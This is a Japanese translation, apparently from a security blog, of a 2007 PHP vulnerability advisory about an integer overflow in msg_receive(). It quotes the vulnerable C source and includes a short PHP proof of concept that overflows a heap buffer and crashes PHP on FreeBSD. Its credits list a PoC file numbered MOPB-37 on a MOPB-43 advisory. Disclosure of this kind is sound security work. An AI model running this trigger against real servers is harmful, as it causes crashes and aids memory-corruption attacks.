MOPB-43-2007:PHP msg_receive() Memory Allocation Integer Overflow Vulnerabilty

(Last Updated On: 2018年8月16日)

Stefanさんの承諾を得て日本語訳を公開しています。このブログの「the Month of PHP Bugs」カテゴリでMOPBの翻訳ページを一覧できます。分かりやすいように意訳できる部分は意訳します。厳密に原文の通り訳していないので正確性を重視される方は原文をご覧ください。

■クレジット
発見者:Stefan Esser
攻撃コード:Stefan Esser

■PoCまたは攻撃コード
MOPB-37-2007.php

■リファレンス
なし

■サマリ
msg_receive()関数のmaxsize引数は確認無しにメモリ確保に利用されています。整数オーバーフローが可能となり小さすぎるバッファが確保され為、攻撃可能なバッファオーバーフローを引き起こします。Linuxシステムでは内部のmsgrcv()関数が負のmaxsizeを受け付けないためバッファオーバーフローは発生しません。しかし、例えばFreeBSDではこのバグが攻撃可能であることは証明されています。

■影響するバージョン
PHP 4.4.5未満、PHP 5.2.1未満

■詳細情報
PHP関数のmsg_receive()はmaxsize引数の値を全くチェックせず直接メモリ確保に利用し、整数オーバーフローが発生可能になっています。脆弱なコードは以下のコードです。

PHP_FUNCTION(msg_receive)
{
    ...
    if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rlzlz|blz",
                &queue, &desiredmsgtype, &out_msgtype, &maxsize,
                &out_message, &do_unserialize, &flags, &zerrcode) == FAILURE) {
        return;
    }
    ...
    messagebuffer = (struct php_msgbuf *) emalloc(sizeof(struct php_msgbuf) + maxsize);

    result = msgrcv(mq->id, messagebuffer, maxsize, desiredmsgtype, realflags);

例えば、maxsizeが-1でmsgrcv()関数が負の値でも動作する場合、整数オーバーフローを発生させます。我々のテストではLinuxは-1を拒否しているようでした。しかし、FreeBSDではオーバーフローは発生し、攻撃可能でした。

■PoC、攻撃コードまたは再現手順
この脆弱性をテストするには以下のコードを実行します。

<?php

  $MSGKEY = 519052;

  $msg_id = msg_get_queue ($MSGKEY, 0600);

  if (!msg_send ($msg_id, 1, 'AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHH', false, true, $msg_err))
    echo "Msg not sent because $msg_err\n";

  if (msg_receive ($msg_id, 1, $msg_type, 0xffffffff, $_SESSION, false, 0, $msg_error)) {
    echo "$msg\n";
  } else {
    echo "Received $msg_error fetching message\n";
    break;
  }

  msg_remove_queue ($msg_id);

?>

このPoCはバッファをオーバーフローさせFreeBSDシステム上などではクラッシュします。コード実行を行う攻撃コードは将来このサイトに追加されます。

■備考
このMOPB最後の脆弱性は整数オーバーフローなしでも、正の数の最大値をmax_length引数に設定することにより攻撃可能です。この場合、攻撃はLinuxに対しても可能です。

投稿者: yohgaki